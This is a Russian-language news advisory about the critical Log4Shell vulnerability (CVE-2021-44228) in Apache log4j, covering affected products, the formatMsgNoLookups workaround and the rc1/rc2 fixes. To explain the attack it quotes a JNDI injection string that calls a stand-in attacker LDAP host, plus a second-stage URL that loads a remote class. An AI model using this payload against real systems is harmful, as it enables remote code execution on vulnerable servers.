27.01.2022

Катастрофическая уязвимость в Apache log4j, затрагивающая многие Java-проекты

В Apache log4j, популярном фреймворке для организации ведения логов в Java-приложениях, выявлена критическая уязвимость, позволяющая выполнить произвольный код при записи в лог специально оформленного значения в формате «{jndi:URL}». Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.

Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уявзимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей в Apache Struts. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.

Проблема усугубляется тем, что уже опубликован рабочий эксплоит, но исправления для стабильных веток на данный момент не сфромированы. СVE-идентификатор пока не присвоен. Исправление включено только в тестовую ветку log4j-2.15.0-rc1.
В качестве обходного пути блокирования уязвимости рекомендуется выставить параметр log4j2.formatMsgNoLookups в значение true.

Проблема была вызвана тем, что log4j поддерживает обработку специальных масок «{}» в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой «${jndi:ldap://attacker.com/a}», при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

Дополнение 1: Уязвимости присвоен идентификатор CVE-2021-44228.

Дополнение 2: Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости.

Источник.